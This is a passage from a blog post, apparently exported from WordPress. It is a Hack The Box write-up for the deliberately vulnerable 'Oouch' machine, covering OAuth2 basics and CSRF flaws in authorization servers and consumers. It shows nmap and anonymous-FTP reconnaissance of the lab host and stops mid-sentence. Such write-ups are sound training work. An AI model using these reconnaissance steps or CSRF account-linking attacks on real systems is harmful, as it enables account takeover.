consultant and security researcher Tobias Neitzel (@qtc_de).\u00a0Oouch\u00a0is an implementation of an\u00a0OAuth2\u00a0authorization server and also ships a compatible consumer application. Both contain common\u00a0OAuth2\u00a0vulnerabilities that can be used to get access to the system. In this post, we release the writeup that [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"<!-- wp:paragraph -->\n<p>At the beginning of the year&nbsp;<a href=\"https:\/\/www.hackthebox.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hack The Box<\/a>&nbsp;released&nbsp;<em>Oouch<\/em>, a vulnerable machine created by usd HeroLab consultant and security researcher Tobias Neitzel (<a href=\"https:\/\/twitter.com\/qtc_de\" target=\"_blank\" rel=\"noreferrer noopener\">@qtc_de<\/a>).&nbsp;<em>Oouch&nbsp;<\/em>is an implementation of an&nbsp;<em>OAuth2<\/em>&nbsp;authorization server and also ships a compatible consumer application. Both contain common&nbsp;<em>OAuth2<\/em>&nbsp;vulnerabilities that can be used to get access to the system. In this post, we release the writeup that Tobias created for his initial Box submission. Interested in how minor implementation failures with&nbsp;<em>OAuth2&nbsp;<\/em>can lead to remote code execution? Then you should definitely read on. Enjoy!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Table of Contents<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#description\">1.0 Description<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#introduction\">2.0 Introduction<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#authorization-workflow\">2.1 \u2013 The OAuth Authorization Workflow<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#oauth-goes-wrong\">2.2 \u2013 What can possibly go Wrong<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#server-csrf\">2.2.1 \u2013 OAuth Authorization Server CSRF<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#consumer-csrf\">2.2.2 \u2013 OAuth Consumer CSRF<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#oauth-conclusions\">2.3 \u2013 OAuth Conclusions<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#user-on-oouch\">3.0 \u2013 Getting User on Oouch<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#enumeration\">3.1 \u2013 Starting Enumeration<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#digging-deeper\">3.2 \u2013 Digging Deeper<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#finding-oauth\">3.3 \u2013 Finding the O in Oouch<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#ready-to-attack\">3.4 \u2013 Ready to Attack<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#getting-rewarded\">3.5 \u2013 Getting Rewarded<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#getting-ssh-access\">3.6 \u2013 Getting SSH Access<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#next-stop-root\">4.0 \u2013 Next Stop Root<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#containers\">4.1 \u2013 Finding the Containers<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#roadmap\">4.2 \u2013 Checking the Roadmap<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#one-and-one\">4.3 \u2013 Putting One and One together<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#attack-vector\">4.4 \u2013 Finding an Attack Vector<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#performing-exploit\">4.5 \u2013 Performing the Exploit<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#unintended-soltuions\">5.0 \u2013 Unintended Solutions<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#cookie-scope\">5.1 \u2013 Cookie Scope<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#odd-uwsgi\">5.2 \u2013 Odd UWSGI Functionalities<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#lessons-learned\">6.0 \u2013 Lessons Learned<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#errors-everywhere\">6.1 \u2013 500 Everywhere<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#not-so-fast\">6.2 \u2013 Not so Fast<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-oouch\/#conclusion\">7.0 \u2013 Conclusion<\/a><\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:heading -->\n<h2 id=\"description\">1.0 \u2013 Description<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In this writeup I will demonstrate how one can solve the&nbsp;<em>Oouch&nbsp;<\/em>machine, which implements a vulnerable&nbsp;<em>OAuth2&nbsp;<\/em>authorization server as well as a vulnerable&nbsp;<em>OAuth2&nbsp;<\/em>consumer application. With previous knowledge of the&nbsp;<em>OAuth2&nbsp;<\/em>protocol and the possible attack vectors,&nbsp;<em>Oouch&nbsp;<\/em>is rather straight forward to solve. However, for most of the audience the&nbsp;<em>OAuth2&nbsp;<\/em>protocol is probably unknown and we should first spend some time on it to see how it works. (If you are only interested in the machine solution or are already familiar with the&nbsp;<em>OAuth2&nbsp;<\/em>protocol, you can skip the following chapter and continue with the enumeration phase).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"introduction\">2.0 \u2013 A Gentle Introduction to OAuth<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>OAuth&nbsp;<\/em>stands for&nbsp;<em>Open Authorization<\/em>&nbsp;and defines an authentication protocol that is widely used on the internet. Whenever you see a login form that supports features like \u201e<em>login with Facebook<\/em>\u201c or \u201e<em>pay with Amazon<\/em>\u201c it is likely that the technical implementation of these features is done by using&nbsp;<em>OAuth<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a typical&nbsp;<em>OAuth2&nbsp;<\/em>setup, you have a total of three different parties (four if you take the application user into account):<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>The authorization server<\/li><li>The resource server<\/li><li>The consumer application<\/li><li>(The application user)<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>In many implementations, the resource server and the authorization server are represented by the same physical hardware and can be reached by using the same IP address. However, from the logical perspective, they have to be separated. If one draws a picture of the four components mentioned above (I know, there are many better ones available online), it may looks like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15081,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A1-setup.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A1-setup.png\" alt=\"\" class=\"wp-image-15081\"\/><\/a><figcaption>Typical components for the OAuth2 authorization flow<\/figcaption><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>But what is now the actual purpose of these components? Well, lets take the \u201e<em>login with Facebook<\/em>\u201c feature as an example. Imagine you are building your own web application and are currently working on the user login. When implementing just an ordinary login page, users would have to register to your application and need to remember another set of credentials. Wouldn\u2019t it be great to allow users to login with their&nbsp;<em>Facebook<\/em>&nbsp;account? Most people already have such an account and it would save them from creating and remembering another set of credentials. In this situation, we would have the following mapping:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>The authorization server -&gt; Facebook<\/li><li>The resource server -&gt; Facebook<\/li><li>The consumer application -&gt; Your new application<\/li><li>(The application user) -&gt; Your customers<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Sounds good so far, but how to implement this? Well, the worst option is of course to ask your customers for their&nbsp;<em>Facebook<\/em>&nbsp;credentials. Even to none security professionals this should sound wrong. Instead you need a dedicated protocol that handles the communication between you, your customers and&nbsp;<em>Facebook<\/em>&nbsp;and this is exactly what the&nbsp;<em>OAuth&nbsp;<\/em>protocol was made for.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"authorization-workflow\">2.1 \u2013 The OAuth Authorization Workflow<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Okay, for our \u201e<em>login with Facebook<\/em>\u201c feature, we are left with two problems:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>How can our customers prove that they have a valid account on&nbsp;<em>Facebook<\/em>?<\/li><li>How can we obtain account information of our customers from&nbsp;<em>Facebook<\/em>?<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>The second problem was not mentioned so far, but it is of course required for our application. To prove that a customer has a valid&nbsp;<em>Facebook<\/em>&nbsp;account is not enough, we also need some account data like&nbsp;<em>username<\/em>,&nbsp;<em>age<\/em>&nbsp;or&nbsp;<em>email address<\/em>&nbsp;in order to identify the customer in our application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To obtain such information from&nbsp;<em>Facebook<\/em>, it sounds reasonable to inform&nbsp;<em>Facebook<\/em>&nbsp;about our application. On all&nbsp;<em>OAuth2&nbsp;<\/em>providers like&nbsp;<em>Facebook<\/em>,&nbsp;<em>Twitter<\/em>&nbsp;or&nbsp;<em>Amazon<\/em>&nbsp;you need to register your&nbsp;<em>consumer application<\/em>. During the registration process you obtain a&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;and a&nbsp;<strong>CLIENT_SECRET<\/strong>. Both of them are used to authenticate your application to the&nbsp;<em>OAuth2&nbsp;<\/em>service provider and allow you data access. Of course, data access to account data of other users is not provided per default, but has to be confirmed by the corresponding account. This will be discussed next, but first of all lets update our&nbsp;<em>OAuth2&nbsp;<\/em>graphic with our new obtained&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;and the&nbsp;<strong>CLIENT_SECRET<\/strong>:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15084,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A2-setup.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A2-setup.png\" alt=\"\" class=\"wp-image-15084\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now that our application has a valid set of credentials for data access, we can finally look at the actual authentication process. Consider a customer visits our login page and clicks on the \u201e<em>login with Facebook<\/em>\u201c feature. In this case, our server will send a redirect as response, which redirects the user to a specialized endpoint on&nbsp;<em>Facebook<\/em>. Inside this redirect, we include the following parameters:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Our&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;-&gt; This shows&nbsp;<em>Facebook<\/em>&nbsp;which application wants access permissions to the account data of our user.<\/li><li>A&nbsp;<strong>REDIRECT_URL<\/strong>&nbsp;-&gt; After the customer has allowed \/ rejected access,&nbsp;<em>Facebook<\/em>&nbsp;needs to redirect him back to the consumer application (our application).<\/li><li>A&nbsp;<strong>SCOPE<\/strong>&nbsp;-&gt; This tells&nbsp;<em>Facebook<\/em>&nbsp;what kind of access we want (read \/ write \/ read-write).<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>If our customer is already logged in on&nbsp;<em>Facebook<\/em>, he will be asked directly if he wants to allow access for our application. If our customer is not logged in, he will be redirected to the login page of&nbsp;<em>Facebook<\/em>&nbsp;and is asked to allow access for our application after he has performed a valid login.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15086,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A3-setup.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A3-setup.png\" alt=\"\" class=\"wp-image-15086\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>If the customer decides to allow access for our application,&nbsp;<em>Facebook<\/em>&nbsp;will redirect him back to our specified&nbsp;<strong>REDIRECT_URL<\/strong>, including an&nbsp;<em>authorization_code<\/em>. This&nbsp;<em>authorization_code<\/em>&nbsp;grants our application access to the profile information of the corresponding user and is therefore the proof, that our customer has a valid&nbsp;<em>Facebook<\/em>&nbsp;account. Furthermore, we can now obtain profile information like&nbsp;<em>username<\/em>,&nbsp;<em>age<\/em>&nbsp;or&nbsp;<em>email address<\/em>&nbsp;to identify the customer.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15088,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A4-setup.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A4-setup.png\" alt=\"\" class=\"wp-image-15088\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, just using the&nbsp;<em>authorization_code<\/em>&nbsp;for data access is not sufficient. This token was propagated inside the&nbsp;<em>URL&nbsp;<\/em>of the customers browser and was exposed to other parties during the&nbsp;<em>OAuth2&nbsp;<\/em>process. Furthermore, our application sent only its&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;to&nbsp;<em>Facebook<\/em>, which is a public known value and yields no proof that we are really the application we claim to be. Therefore, our application needs to exchange the&nbsp;<em>authorization_code<\/em>&nbsp;for an&nbsp;<em>access_token<\/em>&nbsp;first, before data access is provided.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<em>access_token<\/em>&nbsp;is also issued by&nbsp;<em>Facebook<\/em>&nbsp;on a specific endpoint and requires again some parameters inside the request:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Our&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;-&gt; To identify our application.<\/li><li>Our&nbsp;<strong>CLIENT_SECRET<\/strong>&nbsp;-&gt; Proof that we are really the application we claim to be.<\/li><li>A&nbsp;<strong>REDIRECT_URL<\/strong>&nbsp;-&gt; Needs to match the&nbsp;<strong>REDIRECT_URL<\/strong>&nbsp;inside the&nbsp;<em>authorization_code<\/em>&nbsp;request.<\/li><li>An&nbsp;<strong>AUTHORIZATION_CODE<\/strong>&nbsp;-&gt; To identify the user that allowed our application data access.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This time however, we cannot perform this request using a redirect in the customers browser. This would leak our&nbsp;<strong>CLIENT_SECRET<\/strong>&nbsp;and this should of course not be exposed to other parties than our application. Instead, the request for an&nbsp;<em>access_token<\/em>&nbsp;will be executed by our backend. After the&nbsp;<em>access_token<\/em>&nbsp;was obtained, we can finally access the profile data of our customer on&nbsp;<em>Facebook<\/em>&nbsp;and identify him on our application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15090,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A5-setup.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A5-setup.png\" alt=\"\" class=\"wp-image-15090\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"oauth-goes-wrong\">2.2 \u2013 What can possibly go Wrong<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The example above is just one particular&nbsp;<em>OAuth2&nbsp;<\/em>workflow and was furthermore simplified quite a bit. However, it is sufficient to understand two major vulnerabilities that can occur when implementing an&nbsp;<em>OAuth2<\/em>&nbsp;capable application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"server-csrf\">2.2.1 \u2013 OAuth Authorization Server CSRF<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like described above, before an&nbsp;<em>OAuth2&nbsp;<\/em>consumer application gets access to the users profile data, the corresponding user has to confirm that the consumer application is allowed to access the corresponding data. This is usually implemented by a simple confirmation window, that asks the user if he really wants to grant application&nbsp;<strong>XYZ<\/strong>&nbsp;permissions to&nbsp;<strong>read\/write\/read-write<\/strong>&nbsp;his profile data. Only if the user answers this confirmation window with&nbsp;<strong>yes<\/strong>, access for the consumer application is granted.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15092,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A6-server-csrf.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A6-server-csrf.png\" alt=\"\" class=\"wp-image-15092\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>But what happens if the confirmation request is not protected by a&nbsp;<em>CSRF-Token<\/em>? In this case, a consumer application can simply craft a request that directly confirms access to the users profile data. This would skip the confirmation window and grants the application access to the users data without the confirmation of the corresponding user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15094,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A7-server-csrf.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A7-server-csrf.png\" alt=\"\" class=\"wp-image-15094\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>For this reason, a&nbsp;<em>CSRF-Token<\/em>&nbsp;is absolutely required on OA<em>u<\/em>th2 authorization endpoints and not implementing such a protection is a critical finding during a security assessment.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"consumer-csrf\">2.2.2 \u2013 OAuth Consumer CSRF<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not only the&nbsp;<em>OAuth2&nbsp;<\/em>provider, but also the consumer applications can contain a critical&nbsp;<em>CSRF&nbsp;<\/em>vulnerability. In the \u201e<em>login with Facebook<\/em>\u201c scenario above, we only talked about a new customer who wants to use his&nbsp;<em>Facebook<\/em>&nbsp;account for login. However, most applications allow users to connect an already existing local user account with an account on an&nbsp;<em>OAuth2&nbsp;<\/em>provider. This allows the corresponding users to either login with their local account, or choosing to login with their e.g.&nbsp;<em>Facebook<\/em>&nbsp;account.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Connecting a local account with an&nbsp;<em>OAuth2&nbsp;<\/em>provider is often implemented rather simple. After confirming access for the consumer application on the&nbsp;<em>OAuth2<\/em>&nbsp;provider, the&nbsp;<em>authorization_code<\/em>&nbsp;is send to a particular endpoint on the consumer application. The consumer application simply exchanges the&nbsp;<em>authorization_code<\/em>&nbsp;for an&nbsp;<em>access_token<\/em>, obtains the users profile information and connects the local user account of the currently logged in user with the&nbsp;<em>OAuth2&nbsp;<\/em>provider account.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15096,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A8-client-csrf.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A8-client-csrf.png\" alt=\"\" class=\"wp-image-15096\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>But what happens if the account connection request is not protected against&nbsp;<em>CSRF&nbsp;<\/em>attacks? An attacker can simply craft a request that connects the account of the currently logged in user with his own account on the&nbsp;<em>OAuth2&nbsp;<\/em>provider. If the attacker can trick another user (that is currently logged into the consumer application) to execute such a request, the local account of the targeted user and the&nbsp;<em>OAuth2&nbsp;<\/em>account of the attacker get connected. The attacker can now login into the consumer application using his&nbsp;<em>OAuth2&nbsp;<\/em>account and can impersonate his victim inside the consumer application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15098,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A9-client-csrf.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/A9-client-csrf.png\" alt=\"\" class=\"wp-image-15098\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Implementing protection against such attacks is much harder as against ordinary&nbsp;<em>CSRF&nbsp;<\/em>attacks. The request that contains the&nbsp;<em>authorization_code<\/em>&nbsp;has to be issued by the&nbsp;<em>OAuth2&nbsp;<\/em>provider and is therefore a&nbsp;<em>cross-site request<\/em>&nbsp;per nature. However, all major&nbsp;<em>OAuth2&nbsp;<\/em>providers support usage of a so called&nbsp;<strong>STATE<\/strong>&nbsp;parameter inside&nbsp;<em>authorization_token<\/em>&nbsp;requests. This parameter can be used to prevent&nbsp;<em>CSRF&nbsp;<\/em>attacks on the consumer site, as it is explained in&nbsp;<a href=\"https:\/\/auth0.com\/docs\/protocols\/oauth2\/oauth-state\">this<\/a>&nbsp;article.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"oauth-conclusions\">2.3 \u2013 OAuth Conclusions<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The discussion above gives only a rough overview over the&nbsp;<em>OAuth2&nbsp;<\/em>protocol and possible attack vectors. Since&nbsp;<em>cross application authentication<\/em>&nbsp;is always a complex process there are many more possible attack vectors and pitfalls that can occur during implementation of an&nbsp;<em>OAuth2&nbsp;<\/em>provider or an&nbsp;<em>OAuth2&nbsp;<\/em>consumer application. However, the information above is sufficient to solve the&nbsp;<em>Oouch&nbsp;<\/em>machine and this is what we are going to do in the next sections.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"user-on-oouch\">3.0 \u2013 Getting User on Oouch<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we have a basic understanding of the&nbsp;<em>OAuth2&nbsp;<\/em>protocol, we can finally start to take on the&nbsp;<em>Oouch&nbsp;<\/em>machine. The following sections will show you one example, how you can get access to the&nbsp;<em>Oouch&nbsp;<\/em>server. However, as with any server that was configured intentionally vulnerable, there are probably other paths that let you takeover the system.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15614} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/oouch-2.png\" alt=\"\" class=\"wp-image-15614\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"enumeration\">3.1 \u2013 Starting Enumeration<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like with any other machine, we start with a&nbsp;<em>nmap&nbsp;<\/em>scan to get an overview of the exposed services:[pentester@kali ~]$ sudo nmap -p- -sV 10.10.10.177[...]<strong>Nmap<\/strong> scan report for oouch.htb (10.10.10.177)<strong>Host<\/strong> is up (0.034s latency).<strong>Not<\/strong> shown: 65531 closed ports<strong>PORT<\/strong> STATE SERVICE VERSION21\/tcp <strong>open<\/strong> ftp vsftpd 2.0.8 or later22\/tcp <strong>open<\/strong> ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)5000\/tcp <strong>open<\/strong> http nginx 1.14.28000\/tcp <strong>open<\/strong> rtsp[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not too much ports open. Starting from the lowest port number, we see that&nbsp;<em>nmap&nbsp;<\/em>prints a relatively old version of&nbsp;<em>vsftpd<\/em>. However, when connecting to the FTP server we can see that&nbsp;<em>nmap&nbsp;<\/em>only made a wild guess:[pentester@kali ~]$ ftp 10.10.10.177<strong>Connected<\/strong> to 10.10.10.177.220 qtc's development server<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual&nbsp;<em>vsftpd<\/em>&nbsp;version can therefore be higher than&nbsp;<em>2.0.8<\/em>. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the&nbsp;<em>anonymous user<\/em>:<strong>Name<\/strong> (10.10.10.177:pentester): anonymous230 Login successful.<strong>Remote<\/strong> system type is UNIX.<strong>Using<\/strong> binary mode to transfer files.ftp&gt; ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt226 Directory send OK.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems to work. Testing write access or trying to create a directory leads to an&nbsp;<em>Permission denied<\/em>&nbsp;error. Seems like&nbsp;<code>project.txt<\/code>&nbsp;is the only thing we can get out of it.[pentester@kali ~]$ cat project.txt <strong>Flask<\/strong> -&gt; Consumer<strong>Django<\/strong> -&gt; Authorization Server<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, this is not that exciting, but it explains at least the ports that we saw in our&nbsp;<em>nmap&nbsp;<\/em>scan.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>5000 is the default webapplication port for&nbsp;<em>Flask<\/em>.<\/li><li>8000 is the default webapplication port for&nbsp;<em>Django<\/em>.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Furthermore, even we don\u2019t know about the&nbsp;<em>OAuth2&nbsp;<\/em>theme of the box yet, by just hammering the term&nbsp;<em>Authorization Server<\/em>&nbsp;into your favorite search engine,&nbsp;<em>OAuth2&nbsp;<\/em>should appear as one of the first suggestions. So even when starting with zero knowledge, from this point we should expect an&nbsp;<em>OAuth2&nbsp;<\/em>setup.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last not discussed port 22 seems to be a simple&nbsp;<em>SSH&nbsp;<\/em>server. Vulnerabilities in&nbsp;<em>SSH&nbsp;<\/em>are quite rare and for now we have enough other stuff to check out before we should start with enumerating the&nbsp;<em>SSH&nbsp;<\/em>server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"digging-deeper\">3.2 \u2013 Digging Deeper<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You might already noticed that&nbsp;<em>nmap&nbsp;<\/em>was not even able to flag the port 8000 as&nbsp;<em>HTTP<\/em>&nbsp;port. This is already discouraging, but lets try to visit this page by using an ordinary web-browser:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15101,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01-bad-request-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01-bad-request-1.png\" alt=\"\" class=\"wp-image-15101\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>This looks bad. Probably this server only responds to the correct hostname or returns content only for specific endpoints. However, before starting to use&nbsp;<em>wfuzz&nbsp;<\/em>or&nbsp;<em>gobuster<\/em>, we can still go to port 5000 and see what we can get there:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15103,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02-login-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02-login-1-1024x421.png\" alt=\"\" class=\"wp-image-15103\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>This looks more user friendly and seems to be a good starting point. On the login page we can now try to guess some credentials. Unfortunately, the login page does not even throw an 